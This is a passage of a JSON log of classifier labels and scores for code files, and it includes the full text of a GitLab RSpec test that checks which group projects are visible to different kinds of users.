"valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9795, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9795, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:08.638229+00:00", "scoring_key_slot": "primary", "dataset_uid": "afe0da9e-fba0-4230-9e9b-1d0db51f4081", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "b88f3fc6edfb5752169661c20f9007d4144e02dc4d0e434f36aa7374958e65a7", "source_metadata": {"uuid": "afe0da9e-fba0-4230-9e9b-1d0db51f4081", "repo_name": "pgoos/clark-app", "relative_path": "spec/composites/customer/api/v5/privacy_settings_spec.rb", "category": "TEST", "algo_rel_score": 0.6381000876426697, "quality_score": 7.125948905944824, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 1, "repo_created_at": "2020-12-21T09:53:46.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "e63af45dfa6b4cb4993aa6eebef1acfb14d6ae41", "size_bytes": 6150, "file_timestamp": 1608544734, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "dd6ad563eae4b157ccc339730a8a731368b74134"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 1, "repo_created_at": "2020-12-21T09:53:46.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "e63af45dfa6b4cb4993aa6eebef1acfb14d6ae41", "size_bytes": 6150, "file_timestamp": 1608544734, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "dd6ad563eae4b157ccc339730a8a731368b74134", "url": "https://github.com/pgoos/clark-app/blob/dd6ad563eae4b157ccc339730a8a731368b74134/spec/composites/customer/api/v5/privacy_settings_spec.rb"}, "gpt4o_tokens": 1222, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7631607623545552, "noise_severity": 0.04877889430392782, "missing_content_severity": 0.021118162929251748, "factual_density": 3.1888568206501167, "pretraining_utility": 0.443474155647159, "math_density": 0.015900578878709545, "code_density": 3.8741923917476275, "reasoning_density": 0.9213441643087961, "education_level": 2.7181995158588848, "creative_writing_quality": -0.19330279549886}, "score_applicability": {"education_level": 0.9989562091796816, "creative_writing_quality": 0.0006355390516575679}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/wudimenghuan/gitlab-ce/blob/cb1538bba7afac965f6ba2b09e8b94afdcdd7fbc/spec/finders/group_projects_finder_spec.rb", "id": "ruby-0-1e59a82a4cd19fbca25e7e5147237d12", "text": "require 'spec_helper'\n\ndescribe GroupProjectsFinder do\n let(:group) { create(:group) }\n let(:subgroup) { create(:group, parent: group) }\n let(:current_user) { create(:user) }\n let(:options) { {} }\n\n let(:finder) { described_class.new(group: group, current_user: current_user, options: options) }\n\n let!(:public_project) { create(:project, :public, group: group, path: '1') }\n let!(:private_project) { create(:project, :private, group: group, path: '2') }\n let!(:shared_project_1) { create(:project, :public, path: '3') }\n let!(:shared_project_2) { create(:project, :private, path: '4') }\n let!(:shared_project_3) { create(:project, :internal, path: '5') }\n let!(:subgroup_project) { create(:project, :public, path: '6', group: subgroup) }\n let!(:subgroup_private_project) { create(:project, :private, path: '7', group: subgroup) }\n\n before do\n shared_project_1.project_group_links.create(group_access: Gitlab::Access::MASTER, group: group)\n shared_project_2.project_group_links.create(group_access: Gitlab::Access::MASTER, group: group)\n shared_project_3.project_group_links.create(group_access: Gitlab::Access::MASTER, group: group)\n end\n\n subject { finder.execute }\n\n describe 'with a group member current user' do\n before do\n group.add_master(current_user)\n end\n\n context \"only shared\" do\n let(:options) { { only_shared: true } }\n\n it { is_expected.to match_array([shared_project_3, shared_project_2, shared_project_1]) }\n end\n\n context \"only owned\" do\n let(:options) { { only_owned: true } }\n\n context 'with subgroups projects', :nested_groups do\n before do\n options[:include_subgroups] = true\n end\n\n it { is_expected.to match_array([private_project, public_project, subgroup_project, subgroup_private_project]) }\n end\n\n context 'without subgroups projects' do\n it { is_expected.to match_array([private_project, public_project]) }\n end\n end\n\n context \"all\" do\n context 'with subgroups projects', :nested_groups do\n before do\n options[:include_subgroups] = true\n end\n\n it { is_expected.to match_array([shared_project_3, shared_project_2, shared_project_1, private_project, public_project, subgroup_project, subgroup_private_project]) }\n end\n\n context 'without subgroups projects' do\n it { is_expected.to match_array([shared_project_3, shared_project_2, shared_project_1, private_project, public_project]) }\n end\n end\n end\n\n describe 'without group member current_user' do\n before do\n shared_project_2.add_master(current_user)\n current_user.reload\n end\n\n context \"only shared\" do\n let(:options) { { only_shared: true } }\n\n context \"without external user\" do\n it { is_expected.to match_array([shared_project_3, shared_project_2, shared_project_1]) }\n end\n\n context \"with external user\" do\n before do\n current_user.update_attributes(external: true)\n end\n\n it { is_expected.to match_array([shared_project_2, shared_project_1]) }\n end\n end\n\n context \"only owned\" do\n let(:options) { { only_owned: true } }\n\n context \"without external user\" do\n before do\n private_project.add_master(current_user)\n subgroup_private_project.add_master(current_user)\n end\n\n context 'with subgroups projects', :nested_groups do\n before do\n options[:include_subgroups] = true\n end\n\n it { is_expected.to match_array([private_project, public_project, subgroup_project, subgroup_private_project]) }\n end\n\n context 'without subgroups projects' do\n it { is_expected.to match_array([private_project, public_project]) }\n end\n end\n\n context \"with external user\" do\n before do\n current_user.update_attributes(external: true)\n end\n\n context 'with subgroups projects', :nested_groups do\n before do\n options[:include_subgroups] = true\n end\n\n it { is_expected.to match_array([public_project, subgroup_project]) }\n end\n\n context 'without subgroups projects' do\n it { is_expected.to eq([public_project]) }\n end\n end\n end\n\n context \"all\" do\n context 'with subgroups projects', :nested_groups do\n before do\n options[:include_subgroups] = true\n end\n\n it { is_expected.to match_array([shared_project_3, shared_project_2, shared_project_1, public_project, subgroup_project]) }\n end\n\n context 'without subgroups projects' do\n it { is_expected.to match_array([shared_project_3, shared_project_2, shared_project_1, public_project]) }\n end\n end\n end\n\n describe \"no user\" do\n context \"only shared\" do\n let(:options) { { only_shared: true } }\n\n it { is_expected.to match_array([shared_project_3, shared_project_1]) }\n end\n\n context \"only owned\" do\n let(:options) { { only_owned: true } }\n\n context 'with subgroups projects', :nested_groups do\n before do\n options[:include_subgroups] = true\n end\n\n it { is_expected.to match_array([public_project, subgroup_project]) }\n end\n\n context 'without subgroups projects' do\n it { is_expected.to eq([public_project]) }\n end\n end\n end\nend\n", "text_preview": "require 'spec_helper' describe GroupProjectsFinder do let(:group) { create(:group) } let(:subgroup) { create(:group, parent: group) } let(:current_user) { create(:user) } let(:options) { {} } let(:finder) { described_class.new(group: group,", "input_sha256": "bb82e9e59e50db6fd45e1a14e52d1a1fa73293fada94d6df6c4d01e9aef2a929", "text_sha256": "1e59a82a4cd19fbca25e7e5147237d12fdd892c461fa4095ee137850e80eca42", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16076, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.3602547076651221, "noise_severity": 0.015842225891194227, "missing_content_severity": 0.003321134847511365, "factual_density": 3.2670776068955667, "pretraining_utility": 0.3259354101647021, "math_density": 0.009863184192569808, "code_density": 3.9107764086567705, "reasoning_density": 1.040849602444903, "education_level": 2.837036106678589, "creative_writing_quality": -0.18493469964899578}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.020423735451687963, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9877514398412404, "secondary": 0.9448292963185783, "tertiary": 0.9661410202681657, "structured_records": 0.26882780927121336, "procedural_steps": 0.004556528957490628, "worked_solution": 0.14812720621206069, "contextual_dialogue": 5.9071849604121896e-06, "content_quality": 0.5605804691061439, "noise_severity": 0.9867981450906714, "missing_content_severity": 0.9972323876270739, "factual_density": 0.5134867883896554, "pretraining_utility": 0.4478380202939467, "math_density": 0.9917806798395251, "code_density": 0.9256470072139756, "reasoning_density": 0.13262533129591392, "education_level": 0.4208556412487161, "creative_writing_quality": 0.9992762542464932, "primary_topic": 0.9967076114989429, "secondary_topic": 0.9695056663293309}, "probability_margin": {"primary": 0.9804711684765399, "secondary": 0.9193361134085641, "tertiary": 0.9526121100069106, "education_level": 0.20313401395514435, "creative_writing_quality": 0.9990736965526813, "primary_topic": 0.994826421519155, "secondary_topic": 0.9567264194624365}, "raw_probabilities": {"primary": {"Academic Writing": 9.164059290180516e-05, "Content Listing": 4.689081429803067e-05, "Creative Writing": 3.1229150738553586e-05, "Customer Support Page": 1.8613734778471062e-05, "Q&A Forum": 1.9392627165482396e-05, "Discussion Thread": 1.5103490145581694e-05, "Comment Section": 2.3613365084599287e-05, "Missing Content": 3.1112102286488086e-05, "Knowledge Article": 8.29254205999698e-05, "Legal Notices": 4.1217625077463906e-05, "News Article": 8.983997228133004e-06, "Organizational Announcement": 1.9388577347559095e-05, "Nonfiction Writing": 1.8500815610913303e-05, "Organizational About Page": 2.0339615112569607e-05, "Personal About Page": 1.575040477327582e-05, "Personal Blog": 1.1343855310342752e-05, "Product Page": 1.2784062313911023e-05, "Spam / Ads": 1.5329445408638325e-05, "Structured Data": 0.0031356239148600733, "Technical Writing": 0.9882617965145221, "Transcript / Interview": 4.0511440906298124e-05, "Tutorial / How-To Guide": 0.00023555460603081544, "User Reviews": 1.1725789516964105e-05, "Other / Unknown": 0.007790628037982133}, "secondary": {"Academic Writing": 0.0003332660211149803, "Content Listing": 0.0002418017843278635, "Creative Writing": 0.00018514575717958732, "Customer Support Page": 9.652936405173178e-05, "Q&A Forum": 9.088279818786582e-05, "Discussion Thread": 7.392655656531644e-05, "Comment Section": 0.00010647713550496425, "Missing Content": 0.0003320747141467565, "Knowledge Article": 0.00035586448972171035, "Legal Notices": 0.000146266303370338, "News Article": 9.246571910810836e-05, "Organizational Announcement": 9.359498613615514e-05, "Nonfiction Writing": 9.863884427125051e-05, "Organizational About Page": 9.351165522286183e-05, "Personal About Page": 8.153913902192823e-05, "Personal Blog": 8.136350905109872e-05, "Product Page": 5.564040245149033e-05, "Spam / Ads": 8.96437139103518e-05, "Structured Data": 0.027791962230073363, "Technical Writing": 0.020959815822904727, "Transcript / Interview": 0.00014548432554610074, "Tutorial / How-To Guide": 0.001276205221735038, "User Reviews": 4.9823867758847316e-05, "NONE": 0.9471280756386375}, "tertiary": {"Academic Writing": 0.00018081296973832464, "Content Listing": 0.0001352218500608799, "Creative Writing": 0.00010581101414240023, "Customer Support Page": 5.541906774288284e-05, "Q&A Forum": 4.160384015756948e-05, "Discussion Thread": 4.0347289422588595e-05, "Comment Section": 6.443479941007473e-05, "Missing Content": 0.0002556718823562115, "Knowledge Article": 0.00036000007939188615, "Legal Notices": 0.00012919458607305812, "News Article": 5.571675909483025e-05, "Organizational Announcement": 4.766122833899906e-05, "Nonfiction Writing": 6.402042953625527e-05, "Organizational About Page": 6.372205087686263e-05, "Personal About Page": 4.29810576435092e-05, "Personal Blog": 4.1922806019043226e-05, "Product Page": 3.3320483408640916e-05, "Spam / Ads": 4.786650438236025e-05, "Structured Data": 0.014817503168103575, "Technical Writing": 0.014939701083414964, "Transcript / Interview": 7.734830952445674e-05, "Tutorial / How-To Guide": 0.000820672528555225, "User Reviews": 2.7235122279940296e-05, "NONE": 0.9675518110903255}, "structured_records": {"false": 0.7311721907287867, "true": 0.26882780927121336}, "procedural_steps": {"false": 0.9954434710425094, "true": 0.004556528957490628}, "worked_solution": {"false": 0.8518727937879393, "true": 0.14812720621206069}, "contextual_dialogue": {"false": 0.9999940928150396, "true": 5.9071849604121896e-06}, "content_quality": {"-2": 0.0027311585226069282, "-1": 0.004944913824693591, "0": 0.0654410614865447, "1": 0.4831037937972802, "2": 0.44377907236887465}, "noise_severity": {"0": 0.986279525422704, "1": 0.012286696628865926, "2": 0.0009512177484039078, "3": 0.00027714703458415693, "4": 0.00020541316544200365}, "missing_content_severity": {"0": 0.9983194925986053, "1": 0.0005362857762739819, "2": 0.0007521056549902767, "3": 0.0002878261192648966, "4": 0.00010428985086553487}, "factual_density": {"0": 0.005487431797796778, "1": 0.011308776794556344, "2": 0.11928927453592048, "3": 0.4384677864577365, "4": 0.42544673041399}, "pretraining_utility": {"-2": 0.012604722476969275, "-1": 0.14312003778734228, "0": 0.4221377050752031, "1": 0.35001017641498794, "2": 0.07212735824549754}, "math_density": {"0": 0.9953707629583796, "1": 0.002554653957214765, "2": 0.0003141410510755663, "3": 0.00036152000011612347, "4": 0.0013989220332138847}, "code_density": {"0": 0.0002156538347472732, "1": 0.00043539244840809185, "2": 0.009222569347954311, "3": 0.06860965996310725, "4": 0.921516724405783}, "reasoning_density": {"0": 0.5897138526689052, "1": 0.08316769926241517, "2": 0.12495432566204716, "3": 0.10088323776813672, "4": 0.1012808846384959}, "education_level": {"none": 0.001038771097503315, "0": 0.0012209874883700983, "1": 0.003666938292202325, "2": 0.31424568708545236, "3": 0.5173797010405967, "4": 0.1624479149958751}, "creative_writing_quality": {"not_applicable": 0.9993968785387444, "-2": 7.732703396644808e-05, "-1": 9.645528949531418e-05, "0": 0.0003231819860630921, "1": 7.274303232249119e-05, "2": 3.341411940827386e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.210278022235991e-05, "Art & Design": 2.8005095874806965e-05, "Law & Crime": 2.479406193232679e-05, "Education & Careers": 2.6831921019155505e-05, "Entertainment & Media": 1.739232521159652e-05, "Fashion & Beauty": 1.3277071298023448e-05, "Business, Economics & Finance": 0.0001332699666278086, "Food & Dining": 1.5406946112871113e-05, "Games & Gaming": 5.394636837501394e-05, "Electronics & Hardware": 4.6908633758199713e-05, "Health, Healthcare & Wellness": 1.5519301365554126e-05, "History & Geography": 2.042271600854519e-05, "Home, Pets & Hobbies": 1.5137130267356546e-05, "Industry & Production": 2.0059521966511834e-05, "Language, Literature & Philosophy": 3.079509071549669e-05, "Politics & Government": 1.815714340817165e-05, "Religion & Spirituality": 2.098826407161804e-05, "Science, Mathematics & Engineering": 0.00019144362288443716, "Relationships & Community": 6.134640754637084e-05, "Software Usage & Applications": 0.0020078203067516375, "Programming & Software Engineering": 0.9968342418259066, "Sports & Fitness": 3.35184303354804e-05, "Vehicles & Transportation": 1.1879553178317434e-05, "Travel & Tourism": 2.3994416437048396e-05, "Other / Uncovered Subject": 0.00025458316166193326, "Unknown / Insufficient Content": 4.815793706265918e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00018960191312834162, "Art & Design": 0.000144357469527994, "Law & Crime": 0.00024991426391365136, "Education & Careers": 0.00014796180878385196, "Entertainment & Media": 0.00012749012375759883, "Fashion & Beauty": 7.109488727030881e-05, "Business, Economics & Finance": 0.0006711335200961842, "Food & Dining": 6.554810548609085e-05, "Games & Gaming": 0.00016285014279870586, "Electronics & Hardware": 0.00014384192326867697, "Health, Healthcare & Wellness": 7.279487595110571e-05, "History & Geography": 7.562740867853108e-05, "Home, Pets & Hobbies": 5.161230668436689e-05, "Industry & Production": 5.987006704924796e-05, "Language, Literature & Philosophy": 8.472428944860019e-05, "Politics & Government": 8.696061219155561e-05, "Religion & Spirituality": 0.00011496746334343008, "Science, Mathematics & Engineering": 0.0008036282065808486, "Relationships & Community": 0.00010273685411017802, "Software Usage & Applications": 0.011284588200901065, "Programming & Software Engineering": 0.013952105854227771, "Sports & Fitness": 6.736529439369912e-05, "Vehicles & Transportation": 3.2645048991672085e-05, "Travel & Tourism": 9.561581620012719e-05, "Other / Uncovered Subject": 0.000462438226552098, "NONE": 0.9706785253166643}}, "probabilities": {"primary": {"Academic Writing": 9.164059290180514e-05, "Content Listing": 4.689081429803066e-05, "Creative Writing": 3.122915073855358e-05, "Customer Support Page": 1.861373477847106e-05, "Q&A Forum": 1.9392627165482393e-05, "Discussion Thread": 1.510349014558169e-05, "Comment Section": 2.361336508459928e-05, "Missing Content": 3.111210228648808e-05, "Knowledge Article": 8.292542059996979e-05, "Legal Notices": 4.12176250774639e-05, "News Article": 8.983997228133002e-06, "Organizational Announcement": 1.9388577347559092e-05, "Nonfiction Writing": 1.85008156109133e-05, "Organizational About Page": 2.0339615112569603e-05, "Personal About Page": 1.5750404773275817e-05, "Personal Blog": 1.134385531034275e-05, "Product Page": 1.278406231391102e-05, "Spam / Ads": 1.5329445408638322e-05, "Structured Data": 0.0031356239148600724, "Technical Writing": 0.9882617965145218, "Transcript / Interview": 4.051144090629812e-05, "Tutorial / How-To Guide": 0.0002355546060308154, "User Reviews": 1.1725789516964101e-05, "Other / Unknown": 0.007790628037982131}, "secondary": {"Academic Writing": 0.0003332660211149803, "Content Listing": 0.0002418017843278635, "Creative Writing": 0.00018514575717958732, "Customer Support Page": 9.652936405173178e-05, "Q&A Forum": 9.088279818786582e-05, "Discussion Thread": 7.392655656531644e-05, "Comment Section": 0.00010647713550496425, "Missing Content": 0.0003320747141467565, "Knowledge Article": 0.00035586448972171035, "Legal Notices": 0.000146266303370338, "News Article": 9.246571910810836e-05, "Organizational Announcement": 9.359498613615514e-05, "Nonfiction Writing": 9.863884427125051e-05, "Organizational About Page": 9.351165522286183e-05, "Personal About Page": 8.153913902192823e-05, "Personal Blog": 8.136350905109872e-05, "Product Page": 5.564040245149033e-05, "Spam / Ads": 8.96437139103518e-05, "Structured Data": 0.027791962230073363, "Technical Writing": 0.020959815822904727, "Transcript / Interview": 0.00014548432554610074, "Tutorial / How-To Guide": 0.001276205221735038, "User Reviews": 4.9823867758847316e-05, "NONE": 0.9471280756386375}, "tertiary": {"Academic Writing": 0.00018081296973832464, "Content Listing": 0.0001352218500608799, "Creative Writing": 0.00010581101414240023, "Customer Support Page": 5.541906774288284e-05, "Q&A Forum": 4.160384015756948e-05, "Discussion Thread": 4.0347289422588595e-05, "Comment Section": 6.443479941007473e-05, "Missing Content": 0.0002556718823562115, "Knowledge Article": 0.00036000007939188615, "Legal Notices": 0.00012919458607305812, "News Article": 5.571675909483025e-05, "Organizational Announcement": 4.766122833899906e-05, "Nonfiction Writing": 6.402042953625527e-05, "Organizational About Page": 6.372205087686263e-05, "Personal About Page": 4.29810576435092e-05, "Personal Blog": 4.1922806019043226e-05, "Product Page": 3.3320483408640916e-05, "Spam / Ads": 4.786650438236025e-05, "Structured Data": 0.014817503168103575, "Technical Writing": 0.014939701083414964, "Transcript / Interview": 7.734830952445674e-05, "Tutorial / How-To Guide": 0.000820672528555225, "User Reviews": 2.7235122279940296e-05, "NONE": 0.9675518110903255}, "structured_records": {"false": 0.7311721907287867, "true": 0.26882780927121336}, "procedural_steps": {"false": 0.9954434710425094, "true": 0.004556528957490628}, "worked_solution": {"false": 0.8518727937879393, "true": 0.14812720621206069}, "contextual_dialogue": {"false": 0.9999940928150396, "true": 5.9071849604121896e-06}, "content_quality": {"-2": 0.0027311585226069282, "-1": 0.004944913824693591, "0": 0.0654410614865447, "1": 0.4831037937972802, "2": 0.44377907236887465}, "noise_severity": {"0": 0.986279525422704, "1": 0.012286696628865926, "2": 0.0009512177484039078, "3": 0.00027714703458415693, "4": 0.00020541316544200365}, "missing_content_severity": {"0": 0.9983194925986053, "1": 0.0005362857762739819, "2": 0.0007521056549902767, "3": 0.0002878261192648966, "4": 0.00010428985086553487}, "factual_density": {"0": 0.005487431797796778, "1": 0.011308776794556344, "2": 0.11928927453592048, "3": 0.4384677864577365, "4": 0.42544673041399}, "pretraining_utility": {"-2": 0.012604722476969272, "-1": 0.14312003778734225, "0": 0.422137705075203, "1": 0.3500101764149879, "2": 0.07212735824549753}, "math_density": {"0": 0.9953707629583797, "1": 0.0025546539572147654, "2": 0.00031414105107556634, "3": 0.0003615200001161235, "4": 0.001398922033213885}, "code_density": {"0": 0.0002156538347472732, "1": 0.00043539244840809185, "2": 0.009222569347954311, "3": 0.06860965996310725, "4": 0.921516724405783}, "reasoning_density": {"0": 0.5897138526689051, "1": 0.08316769926241516, "2": 0.12495432566204713, "3": 0.1008832377681367, "4": 0.10128088463849587}, "education_level": {"none": 0.0010387710975033153, "0": 0.0012209874883700985, "1": 0.0036669382922023255, "2": 0.3142456870854524, "3": 0.5173797010405968, "4": 0.16244791499587513}, "creative_writing_quality": {"not_applicable": 0.9993968785387444, "-2": 7.732703396644808e-05, "-1": 9.645528949531418e-05, "0": 0.0003231819860630921, "1": 7.274303232249119e-05, "2": 3.341411940827386e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.210278022235992e-05, "Art & Design": 2.8005095874806968e-05, "Law & Crime": 2.4794061932326794e-05, "Education & Careers": 2.6831921019155508e-05, "Entertainment & Media": 1.7392325211596523e-05, "Fashion & Beauty": 1.327707129802345e-05, "Business, Economics & Finance": 0.00013326996662780863, "Food & Dining": 1.5406946112871117e-05, "Games & Gaming": 5.3946368375013946e-05, "Electronics & Hardware": 4.690863375819972e-05, "Health, Healthcare & Wellness": 1.551930136555413e-05, "History & Geography": 2.0422716008545194e-05, "Home, Pets & Hobbies": 1.5137130267356548e-05, "Industry & Production": 2.0059521966511838e-05, "Language, Literature & Philosophy": 3.07950907154967e-05, "Politics & Government": 1.8157143408171652e-05, "Religion & Spirituality": 2.0988264071618044e-05, "Science, Mathematics & Engineering": 0.0001914436228844372, "Relationships & Community": 6.134640754637086e-05, "Software Usage & Applications": 0.002007820306751638, "Programming & Software Engineering": 0.9968342418259067, "Sports & Fitness": 3.3518430335480405e-05, "Vehicles & Transportation": 1.1879553178317436e-05, "Travel & Tourism": 2.39944164370484e-05, "Other / Uncovered Subject": 0.0002545831616619333, "Unknown / Insufficient Content": 4.8157937062659184e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00018960191312834162, "Art & Design": 0.000144357469527994, "Law & Crime": 0.00024991426391365136, "Education & Careers": 0.00014796180878385196, "Entertainment & Media": 0.00012749012375759883, "Fashion & Beauty": 7.109488727030881e-05, "Business, Economics & Finance": 0.0006711335200961842, "Food & Dining": 6.554810548609085e-05, "Games & Gaming": 0.00016285014279870586, "Electronics & Hardware": 0.00014384192326867697, "Health, Healthcare & Wellness": 7.279487595110571e-05, "History & Geography": 7.562740867853108e-05, "Home, Pets & Hobbies": 5.161230668436689e-05, "Industry & Production": 5.987006704924796e-05, "Language, Literature & Philosophy": 8.472428944860019e-05, "Politics & Government": 8.696061219155561e-05, "Religion & Spirituality": 0.00011496746334343008, "Science, Mathematics & Engineering": 0.0008036282065808486, "Relationships & Community": 0.00010273685411017802, "Software Usage & Applications": 0.011284588200901065, "Programming & Software Engineering": 0.013952105854227771, "Sports & Fitness": 6.736529439369912e-05, "Vehicles & Transportation": 3.2645048991672085e-05, "Travel & Tourism": 9.561581620012719e-05, "Other / Uncovered Subject": 0.000462438226552098, "NONE": 0.9706785253166643}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9849, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9849, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:09.388822+00:00", "scoring_key_slot": "primary", "dataset_uid": "ad2e6153-1c61-4c21-84eb-928d902dd98b", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "90f6e00adc3a6011e51b8b329a6e66dc05bfaff17a1e3302af6c50b3f4314d1d", "source_metadata": {"uuid": 